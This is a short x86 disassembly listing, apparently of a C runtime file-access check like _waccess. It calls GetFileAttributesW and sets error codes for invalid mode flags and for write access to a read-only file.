call fcn.00411049
push 0x16
pop esi
mov dword [eax], esi
call fcn.004147ec
mov eax, esi
jmp 0x41cd6e
test dword [ebp + 0xc], 0xfffffff9
jne 0x41ccff
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x41cd46
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041106f
pop ecx
call fcn.00411049
mov eax, dword [eax]
jmp 0x41cd6e
test al, 0x10
jne 0x41cd6c
test al, 1
je 0x41cd6c
test byte [ebp + 0xc], 2
je 0x41cd6c
call fcn.0041105c
mov dword [eax], 5
call fcn.00411049
mov dword [eax], 0xd
jmp 0x41cd3d
xor eax, eax
pop esi
pop ebp
ret